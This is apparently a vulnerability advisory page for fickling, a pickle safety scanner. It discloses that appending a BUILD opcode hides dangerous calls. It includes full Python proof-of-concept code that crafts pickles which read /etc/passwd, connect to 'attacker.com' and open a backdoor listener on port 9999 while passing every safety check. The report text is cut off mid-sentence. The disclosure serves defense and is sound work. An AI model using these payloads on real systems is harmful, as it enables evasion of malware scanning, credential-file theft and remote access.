GHSA-mhc9-48gj-9gp3 Fickling has safety check bypass via REDUCE+BUILD opcode sequence
Attackers can bypass fickling's safety checks by appending a BUILD opcode to malicious pickles, allowing dangerous code execution despite safety warnings.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is GHSA-mhc9-48gj-9gp3?
GHSA-mhc9-48gj-9gp3 is a vulnerability in fickling, published on 25 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Official description
Assessment
It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).
Original report
Summary
All 5 of fickling's safety interfaces — is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.
Details
The bypass exploits three weaknesses in fickling's static analysis pipeline:
likely_safe_importsover-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encountersfrom smtplib import SMTP, it adds"SMTP"to thelikely_safe_importsset becausesmtplibis a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.OvertlyBadEvalsexemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is inlikely_safe_imports. SoSMTP('attacker.com')is never flagged.__setstate__exclusion (fickle.py:443-446): BUILD generates a__setstate__call which is excluded from thenon_setstate_callslist. This means BUILD's call is invisible toOvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents theUnusedVariableschecker from flagging the unused assignment (the only remaining detection mechanism).
Affected versions
All versions through 0.1.7 (latest as of 2026-02-18).
Affected APIs
fickling.is_likely_safe()- returnsTruefor bypass payloadsfickling.analysis.check_safety()- returnsAnalysisResultswithseverity = Severity.LIKELY_SAFEfickling --check-safetyCLI - exits with code 0fickling.always_check_safety()+pickle.load()- noUnsafeFileErrorraised, malicious code executesfickling.check_safety()context manager +pickle.load()- noUnsafeFileErrorraised, malicious code executes
PoC
A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:
import io, struct, tempfile, os
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_exfiltration_pickle():
"""
Single pickle that:
1. Reads /etc/passwd via fileinput.input()
2. Opens TCP connection to attacker via smtplib.SMTP()
Both operations pass as LIKELY_SAFE.
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# --- Operation 1: Read /etc/passwd ---
payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL
payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b"0") # POP (discard result)
# --- Operation 2: Connect to attacker ---
payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL
payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
f.write(data)
import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True <-- BYPASSED (file read + network connection in one pickle)
fickling decompiles this to:
from fileinput import input
_var0 = input('/etc/passwd') # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com') # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3
Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).
CLI verification:
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSED - file read + network access passes as safe
always_check_safety() verification:
import fickling, pickle
fickling.always_check_safety()
# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
check_safety() context manager verification:
import fickling, pickle
with fickling.check_safety():
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
Backdoor listener PoC (most impactful)
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_backdoor_listener():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# socketserver.TCPServer via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")
# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
payload.write(b"(") # MARK
payload.write(sbu("0.0.0.0")) # host string
payload.write(b"J" + struct.pack("<i", 9999)) # BININT port
payload.write(b"t") # TUPLE
# Handler class via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")
payload.write(b"\x86") # TUPLE2 -> (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.
Impact
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
- Backdoor network listener:
socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)opens a port on all interfaces, accepting connections from the network. The TCPServer constructor callsserver_bind()and `server_activate(
Which versions are affected by GHSA-mhc9-48gj-9gp3?
2 open source packages ship an affected version, including fickling.
| Package | Affected | Fixed in |
|---|---|---|
fickling PyPI | All versions | 0.1.8 |
fickling PyPI | All versions | 0.1.8 |
How do I fix GHSA-mhc9-48gj-9gp3?
Upgrade fickling to 0.1.8 or later.
Is GHSA-mhc9-48gj-9gp3 being exploited?
There is no known exploitation of GHSA-mhc9-48gj-9gp3 in the wild and no public exploit code.